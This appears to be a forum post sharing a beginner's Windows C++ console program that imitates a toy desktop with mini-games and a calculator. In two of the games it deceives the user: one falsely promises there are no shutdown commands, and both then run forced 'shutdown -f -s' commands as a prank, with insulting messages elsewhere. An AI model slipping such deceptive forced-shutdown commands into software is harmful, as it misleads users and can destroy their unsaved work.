    分享一个程序

    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    string mima="114514";
    int cishu=99999,qp=0;
    void open(){
    	cout<<"你要开机吗......"<<endl;
    	cout<<"开机请输出1......"<<endl;
    	char a;
    	cin>>a;
    	if(a=='1'){
    		for(int i=1;i<=3;i++)
    	   	{
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"加载中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	   	}
    		for(int i=1;i<=100;i+=2)
    	   	{
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                          ";
    	   	   printf("%d",i);
    	   	   cout<<"%";
    	   	   Sleep(50);
    	   	   system("Cls");
    	   	}
    		cout<<"已开机"; 
    	}
    	else{
    		open();
    	}
    	
    }
    void guanji(){
    	system("Cls");
    	for(int i=1;i<=2;i++)
    	{
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"关机中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	}
    	system("Cls");
    	open();
    }
    
    void zhuomian(){
    	system("Cls");
    	cout<<"桌面"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"|王者荣耀|"<<"          "<<"|  设置  |"<<"          "<<"|猜数游戏|"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"进入应用请按1"<<"       "<<"进入应用请按3"<<"       "<<"进入应用请按5"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"|计算游戏|"<<"          "<<"| 浏览器 |"<<"          "<<"| 计算器 |"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"进入应用请按2"<<"       "<<"进入应用请按4"<<"       "<<"进入应用请按6"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<endl;
    	cout<<"|        |"<<endl;
    	cout<<"|你说我猜|"<<endl;
    	cout<<"|        |"<<endl;
    	cout<<"__________"<<endl;
    	cout<<"进入应用请按7"<<endl;
    	int bb;
    	cin>>bb;
    	if(bb==1){
    		system("Cls");
    		cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"______________________________________";
    	Sleep(2000);
    	system("Cls");
    	cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                请放心游玩,        |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"______________________________________";
    	Sleep(2000);
    	system("Cls");
    	cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                请放心游玩,        |"<<endl;
    	cout<<"|                 无任何关机指令!   |"<<endl;
    	cout<<"______________________________________"<<endl;
    	Sleep(1000);
    	cout<<"作者:"<<endl;
    	Sleep(1000);
    	cout<<"蔡徐坤"<<endl;
            Sleep(2000);
    	system("Cls");
    	Sleep(1000);
    	for(int i=1;i<=5;i++)
    	   {
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"加载中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	   }
    	for(int i=1;i<=100;i++)
    	   {
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                          ";
    	   	   printf("%d",i);
    	   	   cout<<"%";
    	   	   Sleep(50);
    	   	   system("Cls");
    	   }
    	Sleep(1000);
    	cout<<"你特么还真信!"<<endl;
    	cout<<"给你两秒,不关掉这个程序我可就关机了!"<<endl;
    	Sleep(2000);
    	system("shutdown -f -s -t 300");
    	cout<<"你的电脑5分钟后将会关机!哈哈哈!"<<endl;
    	Sleep(2000);
    	cout<<"等一等!";
    	Sleep(5000);
    	system("Cls");
    	cout<<"好吧,最后给你一次机会,问你一个问题,如果打对了,就取消关机!"<<endl;
    	cout<<"问题:作者帅不帅?"<<endl;
    	cout<<"A、为了活命,我就昧着良心说一次话吧:帅!"<<endl;
    	cout<<"B、我不想昧着良心说话:不帅!"<<endl;
    	cout<<"请回答:";
    	char ac;
    	cin>>ac;
    	system("Cls");
    	if(ac=='A'||ac=='a')
    	  {
    	  	  Sleep(2000);
    	      cout<<"我最不喜欢不诚实的人了,去死吧!";
    	      system("shutdown -a");
    	      system("shutdown -f -s -t 120");
    	  } 
    	if(ac=='B'||ac=='b')
    	  {
    	  	cout<<"你很诚实,但是......"<<endl;
    	  	Sleep(1000);
    		cout<<"你说的话很不中听耶!"<<endl;
    		Sleep(1000);
    		cout<<"让朕思考思考......"<<endl;
    		Sleep(5000);
    		cout<<"算了,饶你这条狗命!"<<endl;
    		system("shutdown -a");
    	  }
    	if(ac!='A'&&ac!='a'&&ac!='B'&&ac!='b')
    	  {
    	  	cout<<"恭喜你领会了作者的意图!"<<endl<<"下次再见!"<<endl;
    	  	system("shutdown -a");
    	  }
    	  zhuomian();
    	} 
    	else if(bb==2){
    		system("Cls");
    		cout<<"既然你已经来到这里..."<<endl;
    		Sleep(2000);
    		cout<<"那你就别想走了..."<<endl;
    		Sleep(2000);
    		cout<<"我会出10道加或减或乘的题目,你必须答对至少8题,不然你的电脑..."<<endl;
    		Sleep(3000);
    		int aaa=0;
    		for(int i=1;i<=10;i++){
    			system("Cls");
    			cout<<"现在是第"<<i<<"道题,"<<"您已答对"<<aaa<<"道题"<<endl; 
    			int num1=rand()%1000;
    			int num2=rand()%1000;
    			char ab[5];
    			ab[1]='+';
    			ab[2]='-';
    			ab[3]='*';
    			int ii=rand()%3+1,ana;
    			if(ii==1){
    				ana=num1+num2;
    			}
    			if(ii==2){
    				ana=num1-num2;
    			}
    			if(ii==3){
    				ana=num1*num2;
    			}
    			cout<<num1<<ab[ii]<<num2<<"=";
    			int kk;
    			cin>>kk;
    			if(kk==ana){
    				aaa++;
    				cout<<"答对了"; 
    				Sleep(2000);
    			}
    			else{
    				cout<<"答错了";
    				Sleep(2000);
    			}
    		} 
    		system("Cls");
    		if(aaa>=8){
    			cout<<"恭喜你,已通过";
    			Sleep(3000);
    			 zhuomian();
    		}
    		if(aaa<8){
    			system("shutdown -f -s -t 300");
    	cout<<"你的电脑5分钟后将会关机!哈哈哈!"<<endl;
    	Sleep(2000);
    	cout<<"等一等!";
    	Sleep(5000);
    	system("Cls");
    	cout<<"好吧,最后给你一次机会,问你一个问题,如果打对了,就取消关机!"<<endl;
    	cout<<"问题:作者帅不帅?"<<endl;
    	cout<<"A、为了活命,我就昧着良心说一次话吧:帅!"<<endl;
    	cout<<"B、我不想昧着良心说话:不帅!"<<endl;
    	cout<<"请回答:";
    	char aaas;
    	cin>>aaas;
    	system("Cls");
    	if(aaas=='A'||aaas=='a')
    	  {
    	  	  Sleep(2000);
    	      cout<<"我最不喜欢不诚实的人了,去死吧!";
    	      system("shutdown -a");
    	      system("shutdown -f -s -t 120");
    	  } 
    	if(aaas=='B'||aaas=='b')
    	  {
    	  	cout<<"你很诚实,但是......"<<endl;
    	  	Sleep(1000);
    		cout<<"你说的话很不中听耶!"<<endl;
    		Sleep(1000);
    		cout<<"让朕思考思考......"<<endl;
    		Sleep(5000);
    		cout<<"算了,饶你这条狗命!"<<endl;
    		system("shutdown -a");
    		Sleep(2000);
    		zhuomian();
    	  }
    	if(aaas!='A'&&aaas!='a'&&aaas!='B'&&aaas!='b')
    	  {
    	  	cout<<"恭喜你领会了作者的意图!"<<endl<<"下次再见!"<<endl;
    	  	system("shutdown -a");
    	  }
    		}
    	}
    	else if(bb==3){
    		system("Cls");
    		cout<<"设置"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"更改壁纸(1)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"修改密码(2)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"关机(3)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"重启(4)"<<endl;
    		int ad;
    		cin>>ad;
    		if(ad==1){
    			system("Cls");
    			cout<<"背景:"<<endl;
    			cout<<"       蓝色+白字(1)"<<endl;
    			cout<<"       红色+黑字(2)"<<endl;
    			cout<<"       黄色+绿字(3)"<<endl;
    			int ae;
    			cin>>ae;
    			if(ae==1){
    				system("color 17");
    			} 
    			if(ae==2){
    				system("color 40");
    			} 
    			if(ae==3){
    				system("color EA");
    			} 
    			zhuomian();
    		} 
    		if(ad==2){
    			system("Cls");
    			string mima2,mima3,mima4;
    			cout<<"请出入您旧密码: ";
    			cin>>mima2;
    			if(mima2==mima){
    				cout<<endl; 
    				cout<<"请出入您的新密码: ";
    				cin>>mima3;
    				cout<<endl;
    				cout<<"请确认您的新密码: ";
    				cin>>mima4;
    				cout<<endl;
    				if(mima3==mima4){
    					cout<<"修改密码成功!";
    					mima=mima3;
    					Sleep(3000);
    					zhuomian();
    				} 
    			}
    			else{
    				cout<<"密码不正确!";
    				Sleep(2000);
    				zhuomian();
    			} 
    		}
    		else if(ad==3){
    			guanji(); 
    		}
    		else if(ad==4){
    			system("Cls");
    			for(int i=1;i<=2;i++)
    			{
    	   	   		system("Cls");
    	   	   		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"关机中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    			}
    			system("Cls");
    			for(int i=1;i<=3;i++)
    			{
    	   	   		system("Cls");
    	   	   		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"重启中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    			}
    			system("Cls");
    			cout<<"请输入密码:";
    			string cinn;
    			cin>>cinn;
    			if(cinn==mima){
    				system("Cls");
    				printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"验证中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000); 
    	       		cout<<"密码正确!";
    	       		Sleep(1000);
    	       		system("Cls");
    	       		zhuomian();
    			}
    			else{
    				system("Cls");
    				printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"验证中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		system("Cls");
    	       		cout<<"密码错误,:"; 
    			}
    	
    		}
    	}
    	else if(bb==4){
    		system("Cls");
    		cout<<"https://hornex.pro"<<"  小游戏"<<endl;
    		cout<<"https://www.baidu.com"<<"  百度"<<endl;
    		cout<<"https://www.luogu.com.cn"<<"  洛谷"<<endl;
    		cout<<"https://hao.360.com"<<"  360浏览器"<<endl;
    		cout<<"https://oj.hetao101.com"<<"  核桃编程oj"<<endl;
    		cout<<"您要离开吗,离开请按1,不离开别输出"<<endl;
    		int qw;
    		cin>>qw;
    		if(qw==1){
    			zhuomian();
    		} 
    	}
    	else if(bb==5){
    		system("Cls");
    		srand(time(0)); 
    	    int secretNumber = rand() % 100 + 1;  
        	int guess;  
        	int guessCount = 0;  
    		if(qp==0){
    			cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。(您还没玩过此游戏,快来试试吧)" <<endl;  
    			qp=1;
    		}  
    		else{
    			cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。(您的最好成绩是" <<cishu<<"轮)" <<endl;  
    		}
        	
        	cout << "请尝试猜出这个数字:" << endl;    
        	do {  
    	        cout << "请输入你的猜测:";  
    	        cin >> guess;  
    	        guessCount++;  
            if (guess < secretNumber) {  
                cout << "太小了!再试试看。" << endl;  
            } else if (guess > secretNumber) {  
                cout << "太大了!再试试看。" << endl;  
            } else {  
                cout << "恭喜你!你猜对了!数字就是 " << secretNumber << "。" << endl;  
                cout << "你总共猜了 " << guessCount << " 次。" << endl;  
            }  
      
        	} while (guess != secretNumber);
        	cishu=min(guessCount,cishu);
        	Sleep(3000);
        	zhuomian();
        	
    	}
    	else if(bb==6){
    		system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		
    	}
    	else if(bb==7){
    		system("Cls");
    		string speak[10],cai[10];
    		int duile=0;
    		cai[1]="苹果";
    		cai[2]="篮球";
    		cai[3]="石榴";
    		cai[4]="粽子";
    		cai[5]="自行车";
    		cai[6]="牙刷";
    		cai[7]="足球";
    		speak[1]="什么东西两个字,红色的水果,一年四季都有";
    		speak[2]="什么东西两个字,一种运动,“老大”";
    		speak[3]="什么东西两个字,里面许多籽紧紧的抱在一起";
    		speak[4]="什么东西两个字,端午节吃的";
    		speak[5]="什么东西三个字,交通工具,两个轮子,很废脚";
    		speak[6]="什么东西两个字,厕所用品,保持牙齿清洁";
    		speak[7]="什么东西两个字,一种运动,C罗,梅西";
    		cout<<"这是傻子才会玩的游戏,如果你回答错了,你连傻子都不如"<<endl;
    		Sleep(2000);
    		cout<<"来吧,看看你是不是傻子,我会在10题后算出你的智商和段位(题目可能重复)"<<endl;
    		Sleep(2000);
    		cout<<endl;
    		cout<<endl;
    		cout<<endl; 
    		for(int i=1;i<=10;i++){
    			system("Cls");
    			int shazi=rand()%7+1;
    			cout<<speak[shazi]<<endl;
    			cout<<"你的回答是:";
    			string huidaba;
    			cin>>huidaba;
    			if(huidaba==cai[shazi]){
    				duile++;
    				cout<<endl;
    				cout<<"回答正确!!!!!"; 
    				Sleep(3000);
    			} 
    			else{
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				Sleep(3000);
    			}
    		}
    		system("Cls");
    		if(duile==0){
    			cout<<"你的智商是0,你的段位是:啥也不是";
    		}
    		if(duile==1){
    			cout<<"你的智商是1,你的段位是:废铁";
    		}
    		if(duile==2){
    			cout<<"你的智商是2,你的段位是:青铜";
    		}
    		if(duile==3){
    			cout<<"你的智商是5,你的段位是:白银";
    		}
    		if(duile==4){
    			cout<<"你的智商是7,你的段位是:黄金";
    		}
    		if(duile==5){
    			cout<<"你的智商是8,你的段位是:铂金";
    		}
    		if(duile==6){
    			cout<<"你的智商是20,你的段位是:钻石";
    		}
    		if(duile==7){
    			cout<<"你的智商是50,你的段位是:王牌";
    		}
    		if(duile==9){
    			cout<<"你的智商是110,你的段位是:战神";
    		}
    		if(duile==10){
    			cout<<"你的智商是250,你的段位是;传奇战神";
    		}
    		Sleep(3000);
    		zhuomian();
    	}
    	//	else if(bb==8){
    //	    
    //	}
    //}
    }
    
    
    void mim(){
    	cout<<"请输入密码:";
    	string cinn;
    	cin>>cinn;
    	if(cinn==mima){
    		system("Cls");
    		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"验证中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000); 
    	       cout<<"密码正确!";
    	       Sleep(1000);
    	       system("Cls");
    	       zhuomian();
    	}
    	else{
    		system("Cls");
    		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"验证中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       system("Cls");
    	       cout<<"密码错误,:"; 
    	       mim();
    	}
    }
    
    
    
    int main(){
    	open();
    	mim();
    	zhuomian();
    	return 0;
    }
    

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